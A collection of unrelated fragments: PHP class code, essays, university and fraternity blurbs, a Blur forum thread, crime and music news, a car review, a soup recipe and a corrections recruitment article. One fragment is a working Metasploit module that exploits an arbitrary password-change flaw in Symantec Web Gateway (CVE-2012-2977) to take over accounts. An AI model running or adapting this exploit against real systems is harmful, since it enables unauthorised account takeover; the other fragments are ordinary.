     * {@inheritdoc}
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    public function getPostfix()
    {
        return $this->postfix;
    }

    /**
     * {@inheritdoc}
     */
    public function setPostfix($postfix)
    {
        $this->postfix = $postfix;

        return $this;
    }

    /**
     * {@inheritdoc}
     */
    public function isDeferred()
    {
        return (boolean) $this->defer;
    }

    /**
     * {@inheritdoc}
     */
    public function setDefer($defer)
    {
        $this->defer = (boolean) $defer;

        return $this;
    }

    /**
     * {@inheritdoc}
     */
    public function getPriority()
    {
        return (integer) $this->priority;
    }

    /**
     * {@inheritdoc}
     */
    public function setPriority($priority)
    {
        $this->priority = (integer) $priority;

        return $this;
    }

    /**
     * {@inheritdoc}
     */
    public function getCacheDuration()
    {
        return $this->cacheDuration;
    }

    /**
     * {@inheritdoc}
     */
    public function setCacheDuration($cacheDuration)
    {
        $this->cacheDuration = $cacheDuration;

        return $this;
    }

    /**
     * {@inheritdoc}
     */
    public function __toString()
    {
        return (string) $this->toString();
    }

    /**
     * Either return the passed in 'content' or the result of the callback.
     *
     * @return string
     */
    protected function toString()
    {
        if ($this->rendered !== null) {
            return $this->rendered;
        }

        if (is_callable($this->callback)) {
            try {
                return $this->rendered = $this->invokeCallable($this->callback, $this->callbackArguments);
            } catch (\Exception $e) {
                trigger_error($e->getMessage(), E_USER_NOTICE);
            }
        }

        return $this->content ?: '';
    }
}

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I love riding on smooth interstate highways, as I do in my daily drives to school, but I also take pleasure in pounding my way over bumpy backwoods roads – and I see some similar differences in my approaches to teaching. Often I find it helpful to set out a smooth road for the students as they travel through an assignment – a sort of interstate highway of requirements, guidelines, directions, and steps. After all, if I really want them to reach a certain destination, providing a fitting, trouble-free path would make sense. However, I also, now and then, purposely throw down a shabby side road for them to follow -- an assignment littered with potholed directions and puzzling detours. It's a chance for a different kind of success for the students – an opportunity to take a rough and rutted road and turn the trip into a triumph. On these assignments, I feel the coarser and more mystifying the assignment, the better the chance for finding wisdom. I like to see the students sweating their way through a seemingly impassable assignment now and then, for I've learned what happens when, at the end, they come through with celebratory looks on their faces. Happiness in English class can come from smooth traveling, but also from a little rough-country pioneering.


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As the computer age spread into the business work force Herzing University was one of the first post-secondary institutions founded to meet the demand for computer literate employees. Herzing has been in the business and computer-related fields since 1965, growing to cover five campuses in Canada, six in the United States and the addition of its online division at herzingonline.com.
This physical expansion of Herzing was complemented by the addition of the fields of business management, health care, design and public safety which add further diversity to its educational programs.
The management and executives of Herzing have been nationally recognized in their achievements for many years.
The mission of Herzing University is "to educate, support, and empower all students for success in work, learning and engagement in our communities and global society."
Herzing University maintains its standards by adhering to the following goals:
Provide a stable and ethical climate in which students and employees are encouraged to be the best.
To employ and give admissions assistance for all eligible students, consequently providing access to Herzing University's professional and advanced education programs.
Employers seek skills with focus on development and career-based higher education programs comprising technical curriculum.
To provide education that can enhance a student's oral, written and analytical skills as well as provide intellectual and personal growth.
Students undergo development and are provided services which enable them to strengthen their experience in the educational field and opportunity enhancement in order to accomplish their career objectives.
Major programs and processes offered by the college are periodically evaluated, revised and improved to ensure continuous growth thereby institutional objectives are achieved.
The educational philosophy of Herzing University is focused on the commitments through which education is expected to augment the capacity of an individual in order to accomplish a student's personal and career objectives. In order to succeed in technical and business careers with the general education fundamentals that can prepare them to think analytically, communicate effectively, and advance professionally and personally, the Herzing University programs aim to balance the teaching of skills that are required of graduates in order to succeed.
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Cultivate lifelong academic and professional excellence. Extend meaningful service to humanity and leadership in society.
Promote understanding of the diverse South Asian cultures.
Is The Fire In You?
Iota Nu Delta (ΙΝΔ, also IND) is the first South Asian interest college fraternity. IND was founded in 1994 at the Binghamton University. It is a member of the North-American Interfraternity Conference since 2007 and National APIA Panhellenic Association since 2016.
On February 7, 1994, eight male students at Binghamton University founded the first South-Asian Interest Greek Organization. Their stated goal in forming the organization was to bridge the gaps between people of different backgrounds, ethnicity, and cultures while promoting South Asian cultural awareness. Iota Nu Delta Fraternity, Inc. is South Asian based, but is not exclusive to men of South-Asian origin.
Iota Nu Delta has established mental health awareness and advocacy as its primary philanthropic focus and works in partnership with Active Minds.
Additionally, Iota Nu Delta supports bone marrow advocacy through the National Marrow Donor Program & SAMAR (South Asian Marrow Association of Recruiters). Iota Nu Delta is also involved with several other national non-profit organizations including the United Service Organizations, Association for India's Development, and SAALT (South Asian Americans Leading Together).
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Editor Note.It's like Christmas all over again.Are you allowed to take toy cars and flat saxophones into Cup Finals? Enjoy it Steve.
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require 'msf/core'

class Metasploit3 < Msf::Auxiliary

	include Msf::Exploit::Remote::HttpClient

	def initialize(info={})
		super(update_info(info,
			'Name'           => "Symantec Web Gateway <= 5.0.3.18 Arbitrary Password Change",
			'Description'    => %q{
					This module will change the password for the specified account on a Symantec Web Gatewaye server.
			},
			'License'        => MSF_LICENSE,
			'Version'        => "$Revision: 0 $",
			'Author'         =>
				[
					'Kc57',
				],
			'References'     =>
				[
					[ 'CVE', '2012-2977' ],
					[ 'OSVDB', '0' ],
					[ 'BID', '54430' ],
					[ 'URL', 'http://www.securityfocus.com/bid/54430' ],
				],
			'DisclosureDate' => "Jul 23 2012" ))

			register_options(
				[
					Opt::RPORT(80),
					OptString.new('USER', [ true, 'The password to reset to', 'admin']),
					OptString.new('PASSWORD', [ true, 'The password to reset to', 'admin'])
				], self.class)
	end

	def run

		print_status("Attempting to connect to https://#{rhost}/spywall/temppassword.php to reset password")
		res = send_request_raw(
		{
			'method'  => 'POST',
			'uri'     => '/spywall/temppassword.php',
		}, 25)

		#check to see if we get HTTP OK
		if (res.code == 200)
			print_status("Okay, Got an HTTP 200 (okay) code. Checking if exploitable")
		else
			print_error("Did not get HTTP 200, URL was not found. Exiting!")
			return
		end

		#Check to if the temppassword.php page loads or if we are redirected to the login page
		if (res.body.match(/Please Select a New Password/i))
			print_status("Server is vulnerable!")
		else
			print_error("Target doesn't seem to be vulnerable!")
			return
		end

		print_status("Attempting to exploit password change vulnerability on #{rhost}")
		print_status("Attempting to reset #{datastore['USER']} password to #{datastore['PASSWORD']}")

		data  = 'target=executive_summary.php'
		data << '&USERNAME=' + datastore['USER']
		data << '&password=' + datastore['PASSWORD']
		data << '&password2=' + datastore['PASSWORD']
		data << '&Save=Save'

		res = send_request_cgi(
		{
			'method'  => 'POST',
			'uri'     => '/spywall/temppassword.php',
			'data'    => data,
		}, 25)

		if res.code == 200
			if (res.body.match(/Thank you/i))
				print_status("Password reset was successful!\n")
			else
				print_error("Password reset failed! User '#{datastore['USER']}' may not exist.\n")
			end
		else
			print_error("Password reset failed!")
		end
	end

end


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Veikko's Blur Page Forum
http://vblurpage.com/forum/
Two mixes of Maggie May?
http://vblurpage.com/forum/viewtopic.php?f=2&t=3323
Posted: 30 Jul 2019, 01:46
by __must__
I've noticed that the version of Maggie Mae originally included in the 1992 Ruby Trax compilation has a slightly different mix than the version later included in the Chemical World single (and later Blur 21), with extra very Leisure-esq guitars from Graham layered throughout, also sounding slightly less polished.
Anyone else notice this? :0
(Strangely enough, the Girls & Boys single from 1994 included Maggie May as a b-side, yet used the 1992 mix over the 1993 mix)
Re: Two mixes of Maggie May?
Posted: 01 Aug 2019, 05:03
by dparrott
Huh. I didn't notice the 1992 mix then, I thought it was the same song. I thought the 93 version sounded a little sparse. Which version is on the Special Collectors Edition?
by anothermario
never noticed there were 2, are they on youtube?
by TristramShandy
Talking of mix differences, I only recently noticed how different the orchestral parts were on To The End (album version) and its counterpart with Françoise Hardy singing. Not only the ending of the song: the orchestration on the latter is muuuuuch richer, a whole orchestra playing, whereas the former only has a few instruments.
anothermario wrote: ↑
Here's the 1992 mix https://www.youtube.com/watch?v=_Oc8jZ2cAqc
The 1993 mix is included in the Modern Life is Rubbish second disc from 2012, so it's pretty easy to find
dparrott wrote: ↑
The 1993 mix is the one included in the Special Collectors Edition, it's where I got my copy of it for the best dynamics haha
TristramShandy wrote: ↑
Yea I remember that the FH version was a redo, she wasn't singing over the original song.
by elasticaman
wow! never heard that 1992 mix! how has that gone unnoticed soooo long?
elasticaman wrote: ↑
ikr?? so odd, I never even knew myself until I got the girls and boys single and noticed the mix of maggie may felt different searched for the 1992 comp and there it was!
on a side note, I've also noticed that digital/streaming copies of Bustin' + Dronin'+ replace the Crouch End Broadway mix of On Your Own with the shortened edit from the 2001 soundtrack 'The Beach', very odd
well well, that's another track variant i wasn't aware of
wow, been a blur fan for 20 years and never thought i'd encounter a song i'd never heard before (1992 mix), cool!


A 15-year-old Illinois boy was arrested Saturday night in the death of 10-year-old Kiaya Campbell, according to the Thornton Police Department.
The teenager, whose name has not been released because he is a minor, as booked into the Adams County Juvenile Detention facility for investigation of first-degree murder, KDVR reports.
When Kiaya disappeared on Wednesday night, her father told police that she and his girlfriend's 15-year-old son walked together to a nearby shopping center.
The teenager told authorities that they got separated when it started raining. Police have not said whether their 15-year-old suspect is the father's girlfriend's son.
Officers and volunteers searched the area all day on Thursday, and her body was found on Thursday evening in a grassy area one mile from her home.
The coroner has not released the exact cause of death but did confirm it was "other than accidental," according to KDVR.
On Friday, police announced that the death was being investigated as a homicide.
According to KDVR, Kiaya's neighbor saw her as a "beautiful soul who was vivacious and innocent."
She posted lots of videos on YouTube over the past several years, sharing her life with the world.
Kiaya's mother has set up a GoFundMe page to help with final expenses.


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Ottawa, Ontario – Richard Reed Parry. who is best known as a multi-instrumentalist in the Grammy award-winning band Arcade Fire, is playing a solo concert on November 26th at St. Alban's Church in Ottawa.
His solo album Quiet River of Dust Vol. 1 came out on Friday, Sept 21st via ANTI- Records.
Richard Reed Parry explains the significance of the title and how it represents the cycle of life and how all living things turn to dust.
"It's a never-ending flow of what we're made of and what we'll return to; it's the eternal human turnover. Not just humans, but everything in nature. Society, memories, life, all of it – ashes to ashes," Parry replied.
The date of the album release was September 21st, which coincides with the autumn equinox. Volume 2 is scheduled to be released during the spring equinox. The release dates are significant because they connect to the idea of the natural life cycle.
"Yes, there is a significance, along the same lines of the title, I wanted to release it in the life cycle of the year, on those days that mark the beginning of the end of the year, and the beginning of the beginning of the new year – in the natural world way and not the calendar year. As the year goes into its dormancy and when it comes to life again the next year," Parry explained.
Ten years ago, Richard Reed Parry spent time in Japan after a hectic schedule of touring with Arcade Fire. He visited a monastery, and other rural and remote locations, experiencing silence and tranquility. According to Perry the ideas for the songs already existed before his visit to Japan, but it was the experience of silence and solitude that gave him the space necessary to bring those songs out.
"The experience I had there triggered me into writing a lot of songs. The content, feelings, and ideas for the record were already there, but it took a certain kind of experience to give me an impudence. It was the cumulative effect of being on tour for a super long time – with two albums of Arcade Fire. This constant travel and this constant chaos of loud shows and performing. Where it was output, output, output; being extremely busy for an extremely long time during this period of life. Then I had this trip and nothing on my schedule for the first time in about four years. There was nothing on my schedule, and I didn't need to be anywhere. No one was asking me for things, and no one needed to know where I was," Parry recalled.
"It was very open and spacious, and I was discovering this incredible geographical place for the first time. It was extremely quiet, it was winter when I was there. I was going to remote places where I would be left to my own devices – if not completely alone without other humans in sight. I just stayed there for weeks. That kind of spaciousness, unplanned, and the deep quiet added up to letting a bunch of music out – waiting to have some space. It wasn't like I took a trip to Japan and was so inspired by what I saw that I wrote an album about it. It's not that at all. It's this album that wanted to be made, these songs that wanted to be written, were already there – they just needed space to come out," Parry added.
The song "I Was in the World (Was the World in Me)" explores the concept of losing one's self in nature. The video below was recorded live from the camera's microphone showing a very authentic experience of Richard Reed Parry playing while immersed in nature.
[youtube https://www.youtube.com/watch?v=G7ahPZi6Zt4&w=560&h=315]
"The video is just me in the forest playing the song acoustically, recorded live from a camera mic. It's extremely authentic in that sense. But the song on the album, the produced version of it is more all over the place and a bigger production. At its core, it's still really stripped down, but it's sonically full and intense as the chorus is hit. For the video, it's not very good sound, just camera audio, on one camera, recorded twice – just me sitting there singing the song as it is," Parry noted.
The album Quiet River of Dust Vol. 1 was released on ANTI Records, a music label that features an eclectic group of talented musicians. The label is a good fit for Richard Reed Parry.
"They have a really interesting roster and put out really good music. They focus on interesting singer-songwriters and interesting bands. They were excited about the record. They are open-minded about how to do things, and they put out music they really like. All the above made it a good fit.
Long before Richard Reed Parry joined Arcade Fire in 2003, he grew up in Toronto's folk music community in which house parties where everyone sings was commonplace.
"I grew up in this little community in Toronto that still exists but transforms over time. It was a place where there was less of a divide between stage and audience. It was something where everybody could participate. A lot of the performances that would happen would be in someone's home and people would be singing in the living room. People would take turns leading songs, and people would join in," Parry pointed out.
"It was less the focus of being on the stage as the performer and the audience passively listening, and a lot more of everybody sings, everybody participates. It was more of a shared musical experience. It wasn't about the performer doing their thing, and I think that had an impact on me. I'm almost always vaguely disappointed when I go to parties it's not about people singing together, because every party I attended growing up was about that – and the party didn't really start until everybody was singing together until the wee hours of the night. At that point in life, I didn't have my eyes set on being a musician. Music was something I was absorbing and surrounded by and living in. You learn how to sing in a group intuitively. With harmonies, you just find a place for your voice and it's a very musical thing for you to do. Just to be singing with everyone, and everyone's finding harmonies and fill out the music themselves," Parry remarked.
"I learned a lot intuitively by that, but I wasn't focused on learning an instrument. I didn't aspire to be a folk musician per say, it was more of an osmosis where you absorb the fact that music is an everyday thing and it's something everyone around you does, and you all participate in it joyfully together. It's like a church experience with music but without any sort of denomination being involved – and music is a lot more varied from whatever songs people learned from someone else, whether it be a friend, or seen someone perform it at a festival. That culture really influenced me. There is always a list of songs in the back of my mind that I want to learn, and learn how to sing, and not necessarily learn how to play. I remember one of my dad's friends who said, "I hope I don't get to a time in my life where I don't have a lot of songs that I want to sing; wouldn't that be a sad thing". I agree with that," Parry went on.
Richard Reed Parry will be playing in a church on November 26th. His concert in Ottawa at St. Alban's Church will be more intimate and up close with fans. There will also be opportunities for fans to sing along to certain songs.
"Playing more intimate venues, I really like it. The Arcade Fire playing in arenas thing is fine; it's amazing, big, and exciting. But I really crave balance in my life musically speaking. I like to do a lot of different things and perform in a lot of different environments. Arcade Fire liked to play in smaller rooms too, but it becomes a little bit of a clusterfuck when a band becomes so popular. I love playing in smaller rooms and being able to interact directly with people and have a little bit more of a conversation back and forth like in the folk music way I was talking about earlier on. I also like to get the room to sing a couple of songs. Some of my songs are a little tricky, but there are a couple of them that work as singing in a group. I like to get the whole room to sing. It's a magical experience when the whole room sings. It bonds people together in a way that nothing else does," Parry mused.
Richard Reed Parry's main focus is his solo material, especially while Arcade Fire is on hiatus.
"Arcade Fire is on a bit of a hiatus right now, so I'm just focusing on this right now, doing this, and performing this. I have lots more music where this came from, and it all needs time and space to do it. Right now, I'm performing all the time, so that takes up all my energy and I can't think that far in advance about what is happening next," Parry concluded.
Richard Reed Parry of Arcade Fire is playing St. Albans Church in Ottawa on Monday, November 26th, 2018. Corwin Fox is opening the show. Doors are at 7 pm and the show starts at 7:30 pm. Tickets are $17.50. Tickets are available online as well as at Vertigo Records and both Compact Music locations. The show is being presented by Spectrasonic.
Jason Setnyk
Jason Setnyk is a high school teacher, journalist, published and award winning author and photographer.
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Dave Grohl Admits to Avoid Listening to Nirvana Song for A Long Time
Aside from looking back at the time he chose to turn off the radio, the band's former drummer recalls the beautiful moment he had with his 12-year-old when 'Come As You Are' came on.
AceShowbiz - Dave Grohl used to turn off the radio when a Nirvana song came on. The musician was the drummer for the rock band, fronted by the late Kurt Cobain, but admitted during an interview with Absolute Radio's Dave Berry that he struggled for a "long time" to listen to the group's efforts.
However, now he's a dad, he's learned to enjoy looking back on Nirvana's musical exploits with his children. "There was a long time when a song would come on and I would just turn it off," he explained.
"I don't want to hear that. It would bring back lots of difficult memories but now I'll be driving with my kids in the car now and a Nirvana song will come on and they will start singing it and they know the words, and we don't listen to it at home but somehow it's become a part of their lives now and it's cool."
Grohl went on to recall "a really beautiful moment" when he was in the car with his 12-year-old daughter Harper and Nirvana's "Come As You Are" came on the radio. When she started asking her dad what Cobain was like in real life, he told her, "He was really sweet, you know he was kind of shy, a little reserved and could be sort of quiet."
"She said, 'Wow that's really interesting that someone that could be so shy could write these songs and stand in front of hundreds of thousands of people and sing them,' and I thought what a beautiful insight for a 12-year-old... she was asking me about my life then because she wanted to understand it through the music," he smiled.
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We really do live in a golden age of hot hatches, don't we? If the VW Golf Clubsport, Honda Civic Type-R and Ford Focus RS (among many others) weren't enough, Seat are throwing their latest, fastest hat into the ring by unveiling the new Leon Cupra 300.
While the Spanish marque is keeping most of the vital statistics under wraps until closer to launch in March 2017, we do know that this is the most powerful production car ever to roll off the line in Barcelona.
Using a turbocharged 2.0-litre TSI engine, the new Seat Leon Cupra 300 (as the name suggests) develops a potent 300 horses, a 10hp improvement over the outgoing model.
Dynamic chassis control and an electronic locking differential ensure that the Leon Cupra 300 will be able to transfer all its power to the tarmac, while fans of three pedals can rejoice: the hottest Seat ever will be offered with a manual gearbox as standard.
The same can't be said of the ST (read "sport tourer") version, however. Clothed in the Leon's estate body, the Cupra 300 ST will only come with the firm's (admittedly brilliant) semi-automatic DSG gearbox.
Utilising Seat's '4Drive' four-wheel drive system, the Leon Cupra 300 ST is effectively a Volkswagen Golf R with a little less Teutonic efficiency and bit more Latin flair. The three and five-door hatchback versions will undoubtedly drive with a bit more precision but, we have to admit, the sharply styled ST has certainly caught our eye with its Q-car potential.
While firmly focused on our satisfying our inner hooligan, the Seat Leon Cupra 300 will also come with a glut of driver assistance tech too, including traffic jam assist, lane assist, adaptive cruise control and pedestrian protection.
A new infotainment system – complete with eight-inch screen – will help while away the hours when slogging through traffic to your favourite backroads, while integrated wireless charging ensures that your smartphone's battery will have enough juice left for you to share your Spanish adventures with your adoring Instagram followers.
We'll bring you full pricing and specs for the new Seat Leon Cupra 300 closer to launch. In the meantime, we're already counting down the days until we can get our hands on this new Spanish superstar.


Chicken and potato soup with bacon is a deliciously hardy homemade food item. Many of the ingredients found in this recipe can be pulled from the pantry, including items which were preserved from the garden. This soup is guaranteed to warm, and fill, you during the cold winter months.
There is nothing that warms the soul quite like a warm bowl of chicken and potato soup with bacon. Though in truth, the star of this homemade soup is not the chicken. Nor is it the potatoes. And it's most definitely not because of its creamy goodness.
Bacon. It's really about the bacon. The more of it there is, the better it tastes.
Easy to make. Homemade. Fill the belly, goodness.
From start to finish you're looking at 50 minutes. The toughest food credit will not have a thing to complain about, and more than likely will go in for seconds!
Because we preserve quite a bit from the garden a lot of the ingredients used for cooking will come from the pantry. For example, dehydrated leeks and onions. Stock is often substituted with bone both, adding a punch of healthy goodness to the dish.
Chicken and potato soup partners well with homemade bread or herbed cheese crisps, maybe even a nice salad with a fresh strawberry vinairgrette dressing. But more importantly, do not forget to top the soup with crispy bacon.
The leeks used in this recipe were dehydrated; grown in our garden and dried to be used later in the year.
Please note, the ingredient list contains both preserved and fresh items. Such as, dehydrated leeks and onions and pressure canned bone broth. However, fresh items may also be used.
In a large stock pot, such as an enamel cast iron Dutch oven, over medium heat melt butter.
Once the butter has melted, add onions and garlic. Stir continually, cooking until slightly softened.
Add chopped bacon and leeks, cooking for roughly 3 to 5 minutes.
In a mixing bowl, mix flour with a small amount of stock. Mix until a smooth paste is forms.
Add paste to the Dutch oven. Gently stir the paste and contents until thoroughly mixed.
Pour the remaining stock into the Dutch oven, add chicken and potatoes stirring often. Bring to a boil.
Lower heat to medium, cover with lid and allow to simmer for 25 minutes more. Making sure the chicken and potatoes are tender and cooked through.
Add 4 tablespoons of heavy cream, allowing to cook for an 3 minutes.
This printable recipe is an ideal shopping list, or file it as a family favorite meal!
Homemade chicken and potato soup with bacon is easy to make recipe. Ingredients from the list can be pulled from items which were preserved from the summer garden, or with fresh items from the market. This chicken and potato soup is hardy, and will provide you warm on the coldest days! Not to mention, everything is better with bacon.
Add 4 tablespoons of heavy cream, allowing to cook for an additional 3 minutes.
Much of the ingredients we use to cook with were raised and grown on our homestead. Preserving the harvest is a skill many should own, whether it is on a urban or rural homestead. Pick up a copy of my book, The Farm Girl's Guide to Preserving the Harvest to hone in on your skills as a home food preserver.


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BC Correctional Officer Rae-Lynn Hickerson appreciates the career opportunities BC Corrections provides, in addition to the ability to strike a work-life balance.
'People first' organization where you can really make a difference.
BC Corrections to boost hiring numbers with professionals passionate about making a difference
Mar. 12, 2018 6:00 a.m.
Rae-Lynn Hickerson was attending Lethbridge College when a networking day introduced her to some of the many career possibilities.
But it was BC Corrections that really captured her interest.
"I thought it was really interesting," she says of her impression of the career opportunity with BC Corrections.
A subsequent practicum at Lethbridge Correctional Centre in Alberta settled her professional path.
"One of my passions is helping people so I saw it as a great opportunity to do that," Hickerson says, reflecting on the education and experience she calls upon in her work. "I get to take what I learned in sociology and psychology and I get to use it and implement it."
Today, Hickerson is a Correctional Officer (CO) at the Okanagan Correctional Centre, a regional correctional centre that holds inmates of all levels of security that are either serving a sentence or are being held in custody while awaiting court appearances.
Opportunities for career growth
Over the coming months, the BC Corrections' Adult Custody Division plans to double the number of new officers it typically hires – offering meaningful careers for men and women with the skills and personal qualities needed in today's peace officers.
"BC Corrections is very welcoming to all walks of life. There are all different types of inmates and everyone reacts differently to different people," Hickerson says, also pointing to the progressive training, with ongoing education and training opportunities that BC Corrections provides.
"I have always said that our staff are our greatest asset," says Stephanie Macpherson, Provincial Director, BC Corrections. "We are a 'people first' organization – which means we are always thinking of the people when we make decisions, and as we develop our principles, values and goals. People matter, whether it's the inmate in our custody or our staff who want to help support that person in custody who wants to turn their life around. We continue to invest in our staff to ensure our organization is agile, responsive and able to excel in pursuing its mission of public safety."
At this point in her life, Hickerson enjoys the four-days-on, four-days-off schedule many Correctional Officers follow – it lets her enjoy all the Okanagan has to offer, or visit her hometown of Cranbrook, for example.
However, BC Corrections' management also works to find the best options for Correctional Officers whose families' lives or other needs might require a different schedule.
Flexibility extends to career opportunities within the system, from working in program areas like metal shop, to working in the records department, managing day to day operations and supervisory positions. There's also educational assistance and a good benefits package and pension plan.
"There are tons of opportunities to move up, if that's what you want to do," Hickerson says.
Today, Hickerson looks forward to returning to Lethbridge College's networking day, this time representing BC Corrections and engaging others with the possibilities.
"You have a real opportunity to make a difference in someone's life, to implement different programs and hopefully prevent them from coming back," Hickerson says.
"I feel very lucky to be here."
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2020 budget is nearly half a million higher than the 2019 municipal budget of $15,905,410
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